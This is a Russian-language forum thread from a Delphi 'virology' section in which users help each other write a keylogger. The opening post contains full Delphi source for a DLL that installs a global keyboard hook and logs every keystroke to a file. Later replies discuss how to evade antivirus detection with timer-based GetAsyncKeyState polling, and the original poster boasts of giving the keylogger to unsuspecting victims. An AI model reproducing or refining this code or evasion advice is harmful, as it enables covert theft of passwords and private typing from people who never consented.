Суббота, 25.11.2017, 12:32 Приветствую вас Гость | Группа "Гости" 


[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
Страница 1 из 11
Модератор форума: Волк-1024, Anton93, xXxSh@dowxXx 
delfcode » Delphi » Вирусология Delphi » Помогите в написании KeyLogger (Необходимо чтобы кейлоггер, записывал рус. нажатые клавиши)
Помогите в написании KeyLogger
xC0derДата: Среда, 31.08.2011, 09:00 | Сообщение # 1
Был не раз
Зарегистрирован: 31.08.2011
Группа: Пользователи
Сообщений: 5
Статус: Offline
Необходимо чтобы кейлоггер, записывал русские. нажатые клавиши happy
В лог записываются только английские буквы dry
Вот код DLL библиотеки:

Code
library hook;
Uses Windows, Messages, Sysutils;

var
myHook: HHook = 0;

function MsgProc(Code: integer; wParam: Word; lParam: Longint): Longint; stdcall;
var c: char;
f: text;
key: array [0..16] of Char;
begin
if (Code=HC_ACTION) and (((lParam shr 16) and KF_UP)=0) then
begin
Assign(f,'C:\log.txt'); //Сохранение нажатых клавиш в файл
if FileExists('C:\log.txt') then
Append(f) else Rewrite(f);

GetKeyNameText(lParam,key,SizeOf(key));

Writeln(f,key);
CloseFile(f);
end;
result:= CallNextHookEx(myHook,code,wParam,lparam);
end;

procedure setHook(Hook: boolean) export; stdcall;
begin
if Hook then
begin
if myHook=0 then
myHook:=SetWindowsHookEx(WH_KEYBOARD,@MsgProc,HInstance,0);
end
else
begin
if myHook<>0 then
UnHookWindowsHookEx(myHook);
myHook:=0;
end;
end;

exports setHook name 'SetHook';

begin
end.


Сообщение отредактировал dolphin - Суббота, 24.09.2011, 10:23
 
gravitasДата: Среда, 31.08.2011, 10:06 | Сообщение # 2
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
Ну и тут вам отвечу, так и быть...



TheDeduction

Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
 
xC0derДата: Среда, 31.08.2011, 13:39 | Сообщение # 3
Был не раз
Зарегистрирован: 31.08.2011
Группа: Пользователи
Сообщений: 5
Статус: Offline
Не совсем понял что такое VT ???
 
MyipsДата: Среда, 31.08.2011, 14:56 | Сообщение # 4
Частый гость
Зарегистрирован: 13.05.2011
Группа: Пользователи
Сообщений: 26
Статус: Offline
_http://www.virustotal.com/
 
xC0derДата: Четверг, 01.09.2011, 08:05 | Сообщение # 5
Был не раз
Зарегистрирован: 31.08.2011
Группа: Пользователи
Сообщений: 5
Статус: Offline
Ну и в чем смысл выше сказанного?
 
dolphinДата: Четверг, 01.09.2011, 10:58 | Сообщение # 6
Администратор
Сообщений: 902
Статус: Offline
xC0der, библиотеки, хуки это в прошлом (хорошо детектируется и нагружает систему), надёжнее сейчас работать через таймер, извини но хорошего примера у меня нет, это просто совет в каком направлении искать.

Система: Windows 10 x64, Windows XP
Среды программирования: Delphi 7, Delphi 10 Seattle

Я не профессионал, я всего лишь любитель
Я не вредитель, я всего лишь теоретик
 
gravitasДата: Четверг, 01.09.2011, 12:06 | Сообщение # 7
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
Quote (dolphin)
извини но хорошего примера у меня

http://delfcode.ru/forum/10-359-2930-16-1309508023


TheDeduction

Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
 
XSPYДата: Четверг, 01.09.2011, 18:17 | Сообщение # 8
Продвинутый
Зарегистрирован: 28.01.2010
Группа: Пользователи
Сообщений: 258
Статус: Offline
dolphin, почему в прошлом?? несогласен!))
Вон сколько проектов используют самописные либы-и очень даже прибыльные!


Я не крекер,а программист!
Я не преступник-я свободный человек!
Лучше один раз накодить,чем сто раз качать билды!
 
dolphinДата: Четверг, 01.09.2011, 20:06 | Сообщение # 9
Администратор
Сообщений: 902
Статус: Offline
Не в прошлом конешно, но очень сильно детектируются это для меня по крайней мере один из решающих факторов, и второй немаловажный - это небольшое подтормаживание системы при использовании глобальных хуков

Система: Windows 10 x64, Windows XP
Среды программирования: Delphi 7, Delphi 10 Seattle

Я не профессионал, я всего лишь любитель
Я не вредитель, я всего лишь теоретик
 
vvova15Дата: Пятница, 02.09.2011, 12:15 | Сообщение # 10
Участник
Зарегистрирован: 24.04.2010
Группа: Пользователи
Сообщений: 83
Статус: Offline
хотелось бы увидеть как можно более изящно сделать в delphi проверку кадой клавиши?
встречал и использовал раньше быдлокод типа:
Code

while(true)
begin
....
if(getasynckeystate(...))
   strcat(log,caption);
if(getasynckeystate(...))
   strcat(log,caption);
if(getasynckeystate(...))
   strcat(log,caption);
if(getasynckeystate(...))
   strcat(log,caption);
....
writefile(hf,log);
end;

в си можно описать хэштаблицу с кодами и названиями клавиш и преебирать ее в цикле со счетчиком, пропуская каждую запись через Getasynckeystate, а как реализовать на delphi?
разве что двумерный массив использовать, но там только одного типа значения можно использовать....
два массива, один строковый и другой с кодами? думаю это будет небезопасно, т.к. может случиться выход за пределы массива если по какойто причине в одном массиве окажется больше элеменов чем в другом...



ICQ 185-398


Сообщение отредактировал vvova15 - Пятница, 02.09.2011, 12:16
 
xC0derДата: Пятница, 02.09.2011, 16:58 | Сообщение # 11
Был не раз
Зарегистрирован: 31.08.2011
Группа: Пользователи
Сообщений: 5
Статус: Offline
А как можно обрабатывать клавиши по таймеру? huh И не будет ли сбоя? dry И также с записью в log.txt...
 
gravitasДата: Пятница, 02.09.2011, 17:26 | Сообщение # 12
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
Quote (xC0der)
А как можно обрабатывать клавиши по таймеру? И не будет ли сбоя? И также с записью в log.txt...

А среду разработки за вас не открыть?


TheDeduction

Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
 
XSPYДата: Пятница, 02.09.2011, 20:14 | Сообщение # 13
Продвинутый
Зарегистрирован: 28.01.2010
Группа: Пользователи
Сообщений: 258
Статус: Offline
gravitas, biggrin biggrin biggrin
dolphin, разве система от глобальных подтормаживает?? surprised не слыхал ранее(если не считать касперыча с его перехватами biggrin ).
А насчет длл соглашусь-ее много детектируют,причем даже если структура правильная-насколько помню,там ловят функи часто встречающиеся в малвари...


Я не крекер,а программист!
Я не преступник-я свободный человек!
Лучше один раз накодить,чем сто раз качать билды!
 
xC0derДата: Суббота, 03.09.2011, 08:28 | Сообщение # 14
Был не раз
Зарегистрирован: 31.08.2011
Группа: Пользователи
Сообщений: 5
Статус: Offline
Ламерам подкидывал исходник кейлоггера с DLL лог нормально шел... biggrin Да и проактивкой не блочили
 
dolphinДата: Вторник, 01.11.2011, 12:42 | Сообщение # 15
Администратор
Сообщений: 902
Статус: Offline
Для вас как раз тема http://delfcode.ru/forum/30-573-1

Система: Windows 10 x64, Windows XP
Среды программирования: Delphi 7, Delphi 10 Seattle

Я не профессионал, я всего лишь любитель
Я не вредитель, я всего лишь теоретик
 
delfcode » Delphi » Вирусология Delphi » Помогите в написании KeyLogger (Необходимо чтобы кейлоггер, записывал рус. нажатые клавиши)
Страница 1 из 11
Поиск:

delfcode.ru © 2008 - 2017 Хостинг от uCoz